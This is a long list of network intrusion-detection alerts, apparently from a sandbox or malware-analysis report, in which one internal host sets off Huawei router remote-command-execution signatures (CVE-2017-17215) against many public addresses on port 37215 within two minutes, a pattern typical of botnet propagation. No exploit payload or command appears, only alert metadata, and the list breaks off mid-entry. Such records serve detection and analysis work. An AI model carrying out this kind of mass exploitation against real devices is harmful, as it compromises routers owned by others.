ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.73.181

Timestamp:	02/19/24-18:38:06.098529
SID:	2829579
Source Port:	49018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.110.241

Timestamp:	02/19/24-18:37:15.415728
SID:	2835222
Source Port:	43814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.172.112.143

Timestamp:	02/19/24-18:36:28.792669
SID:	2835222
Source Port:	49420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.34.202

Timestamp:	02/19/24-18:36:46.838602
SID:	2829579
Source Port:	42534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.55.249

Timestamp:	02/19/24-18:38:01.112379
SID:	2835222
Source Port:	40124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.202.155

Timestamp:	02/19/24-18:38:01.391923
SID:	2829579
Source Port:	42382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.49.96

Timestamp:	02/19/24-18:37:27.870517
SID:	2829579
Source Port:	43904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.124.143

Timestamp:	02/19/24-18:38:08.988601
SID:	2829579
Source Port:	53770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.177

Timestamp:	02/19/24-18:37:59.804740
SID:	2829579
Source Port:	52176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.243.111

Timestamp:	02/19/24-18:36:49.395679
SID:	2829579
Source Port:	58316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.56.46

Timestamp:	02/19/24-18:37:48.304256
SID:	2829579
Source Port:	49828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.123.8

Timestamp:	02/19/24-18:36:22.312535
SID:	2829579
Source Port:	38596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.246.33

Timestamp:	02/19/24-18:37:47.987181
SID:	2829579
Source Port:	53240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.56.5

Timestamp:	02/19/24-18:38:06.099156
SID:	2835222
Source Port:	37298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.34.5

Timestamp:	02/19/24-18:36:46.844489
SID:	2835222
Source Port:	49278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.98.243

Timestamp:	02/19/24-18:38:08.992035
SID:	2835222
Source Port:	60020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.0.201

Timestamp:	02/19/24-18:36:28.361411
SID:	2835222
Source Port:	52438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.240.199

Timestamp:	02/19/24-18:37:40.432468
SID:	2829579
Source Port:	51240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.84.86

Timestamp:	02/19/24-18:37:48.304515
SID:	2829579
Source Port:	44678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.95.210

Timestamp:	02/19/24-18:38:17.235591
SID:	2835222
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.162.200

Timestamp:	02/19/24-18:37:01.126365
SID:	2835222
Source Port:	52544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.235.113

Timestamp:	02/19/24-18:37:41.312439
SID:	2829579
Source Port:	45356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.36.232

Timestamp:	02/19/24-18:38:01.393435
SID:	2829579
Source Port:	52944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.26.209

Timestamp:	02/19/24-18:36:28.362059
SID:	2835222
Source Port:	46474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.100.141

Timestamp:	02/19/24-18:37:48.304338
SID:	2835222
Source Port:	35222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.57.90

Timestamp:	02/19/24-18:36:28.361098
SID:	2829579
Source Port:	57704
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.78.89

Timestamp:	02/19/24-18:38:08.988264
SID:	2829579
Source Port:	57824
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.11.125

Timestamp:	02/19/24-18:38:08.774154
SID:	2829579
Source Port:	38912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 222.186.174.59

Timestamp:	02/19/24-18:37:40.801159
SID:	2829579
Source Port:	46930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.141.26

Timestamp:	02/19/24-18:36:44.375965
SID:	2829579
Source Port:	42614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.105.254

Timestamp:	02/19/24-18:38:08.988714
SID:	2835222
Source Port:	53152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.158.17

Timestamp:	02/19/24-18:37:32.153159
SID:	2829579
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.13.243

Timestamp:	02/19/24-18:36:22.312277
SID:	2835222
Source Port:	42970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.134.167

Timestamp:	02/19/24-18:37:48.130634
SID:	2829579
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.50.160

Timestamp:	02/19/24-18:38:20.957167
SID:	2835222
Source Port:	36334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.64.239

Timestamp:	02/19/24-18:38:20.943380
SID:	2835222
Source Port:	45436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.30.220

Timestamp:	02/19/24-18:37:01.752603
SID:	2835222
Source Port:	36598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.111.166

Timestamp:	02/19/24-18:36:44.376551
SID:	2829579
Source Port:	58762
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.72.244.181

Timestamp:	02/19/24-18:38:03.200778
SID:	2829579
Source Port:	43912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.212.153

Timestamp:	02/19/24-18:36:22.313034
SID:	2835222
Source Port:	45592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.253.82

Timestamp:	02/19/24-18:38:20.952751
SID:	2829579
Source Port:	42906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.176.26

Timestamp:	02/19/24-18:37:48.303807
SID:	2829579
Source Port:	39776
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.247.114

Timestamp:	02/19/24-18:36:46.831198
SID:	2835222
Source Port:	45044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.33.17

Timestamp:	02/19/24-18:36:46.833025
SID:	2835222
Source Port:	52260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.224.237.121

Timestamp:	02/19/24-18:37:01.136064
SID:	2835222
Source Port:	43646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.227.84

Timestamp:	02/19/24-18:36:44.376063
SID:	2835222
Source Port:	46540
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.43.249

Timestamp:	02/19/24-18:37:27.870684
SID:	2829579
Source Port:	53392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.28.213

Timestamp:	02/19/24-18:36:23.331311
SID:	2835222
Source Port:	33910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.107.123

Timestamp:	02/19/24-18:36:44.147064
SID:	2829579
Source Port:	55872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.217.44

Timestamp:	02/19/24-18:36:44.153428
SID:	2835222
Source Port:	59480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.75.18

Timestamp:	02/19/24-18:36:23.331161
SID:	2829579
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.160.138

Timestamp:	02/19/24-18:37:47.987926
SID:	2835222
Source Port:	38830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.88.4

Timestamp:	02/19/24-18:37:55.919601
SID:	2835222
Source Port:	37128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.42.90.37

Timestamp:	02/19/24-18:37:01.984939
SID:	2829579
Source Port:	54754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.77.130.234

Timestamp:	02/19/24-18:37:55.528819
SID:	2835222
Source Port:	40690
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.174.10

Timestamp:	02/19/24-18:38:20.949547
SID:	2829579
Source Port:	42268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.39.206

Timestamp:	02/19/24-18:38:08.987825
SID:	2835222
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.117.124

Timestamp:	02/19/24-18:36:23.332037
SID:	2829579
Source Port:	48858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.122.188

Timestamp:	02/19/24-18:37:48.304795
SID:	2829579
Source Port:	48912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.126.125

Timestamp:	02/19/24-18:37:48.304959
SID:	2835222
Source Port:	43724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.112.24

Timestamp:	02/19/24-18:36:46.831579
SID:	2829579
Source Port:	60470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.43.235.46

Timestamp:	02/19/24-18:37:26.604792
SID:	2835222
Source Port:	52688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.117.144.54

Timestamp:	02/19/24-18:37:48.111821
SID:	2835222
Source Port:	38758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.2.67

Timestamp:	02/19/24-18:37:15.416109
SID:	2829579
Source Port:	37120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.1.240

Timestamp:	02/19/24-18:38:01.391487
SID:	2835222
Source Port:	58566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.164.149

Timestamp:	02/19/24-18:36:29.348867
SID:	2829579
Source Port:	45888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.56.38

Timestamp:	02/19/24-18:37:15.415439
SID:	2835222
Source Port:	46360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.117.106

Timestamp:	02/19/24-18:37:48.303908
SID:	2835222
Source Port:	60042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.31.14

Timestamp:	02/19/24-18:37:41.580538
SID:	2829579
Source Port:	35852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.47.2

Timestamp:	02/19/24-18:36:28.362205
SID:	2829579
Source Port:	54386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.133.59

Timestamp:	02/19/24-18:36:46.832311
SID:	2829579
Source Port:	48374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.132.111

Timestamp:	02/19/24-18:37:31.135998
SID:	2835222
Source Port:	46844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.119.0

Timestamp:	02/19/24-18:38:20.949098
SID:	2835222
Source Port:	54392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.15.67

Timestamp:	02/19/24-18:37:25.689251
SID:	2835222
Source Port:	40168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.169.73

Timestamp:	02/19/24-18:37:27.870293
SID:	2829579
Source Port:	52644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.84.186

Timestamp:	02/19/24-18:36:22.312827
SID:	2835222
Source Port:	41814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.9

Timestamp:	02/19/24-18:38:05.944777
SID:	2829579
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.179.203

Timestamp:	02/19/24-18:36:46.834760
SID:	2835222
Source Port:	36214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.48.85

Timestamp:	02/19/24-18:38:20.946185
SID:	2835222
Source Port:	53250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.63.150

Timestamp:	02/19/24-18:36:28.359811
SID:	2829579
Source Port:	46302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.63.41

Timestamp:	02/19/24-18:37:48.304879
SID:	2829579
Source Port:	41118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.93.225.105

Timestamp:	02/19/24-18:36:54.161575
SID:	2835222
Source Port:	41030
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.173.124

Timestamp:	02/19/24-18:37:24.573826
SID:	2835222
Source Port:	33012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.153.168

Timestamp:	02/19/24-18:37:24.717566
SID:	2835222
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.14.78

Timestamp:	02/19/24-18:36:44.375797
SID:	2829579
Source Port:	39026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.88.15

Timestamp:	02/19/24-18:37:48.304170
SID:	2835222
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.72.37

Timestamp:	02/19/24-18:38:06.099278
SID:	2835222
Source Port:	45664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.119.7

Timestamp:	02/19/24-18:37:01.125506
SID:	2829579
Source Port:	35482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.24.97

Timestamp:	02/19/24-18:38:20.943707
SID:	2829579
Source Port:	34310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.85.64

Timestamp:	02/19/24-18:37:56.215737
SID:	2835222
Source Port:	42376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.90.78

Timestamp:	02/19/24-18:37:31.137308
SID:	2829579
Source Port:	57888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.61.208

Timestamp:	02/19/24-18:36:28.360618
SID:	2829579
Source Port:	52680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.103.181

Timestamp:	02/19/24-18:36:28.361758
SID:	2829579
Source Port:	37628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.174.54

Timestamp:	02/19/24-18:37:40.237027
SID:	2829579
Source Port:	33706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.68.54

Timestamp:	02/19/24-18:37:28.048421
SID:	2829579
Source Port:	54584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.57.26

Timestamp:	02/19/24-18:37:28.087110
SID:	2829579
Source Port:	35814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.96.158

Timestamp:	02/19/24-18:36:22.312925
SID:	2835222
Source Port:	49806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.158.98

Timestamp:	02/19/24-18:36:28.360131
SID:	2835222
Source Port:	58458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.254.39

Timestamp:	02/19/24-18:36:46.834168
SID:	2829579
Source Port:	59980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.43.104

Timestamp:	02/19/24-18:38:08.988118
SID:	2829579
Source Port:	35200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.227.12

Timestamp:	02/19/24-18:36:22.312726
SID:	2829579
Source Port:	57108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.56.201

Timestamp:	02/19/24-18:36:28.360955
SID:	2835222
Source Port:	41634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.105.192

Timestamp:	02/19/24-18:38:05.928805
SID:	2835222
Source Port:	32894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.227.158

Timestamp:	02/19/24-18:38:01.392992
SID:	2829579
Source Port:	57446
Destination Port:	37215
Protocol:	TCP
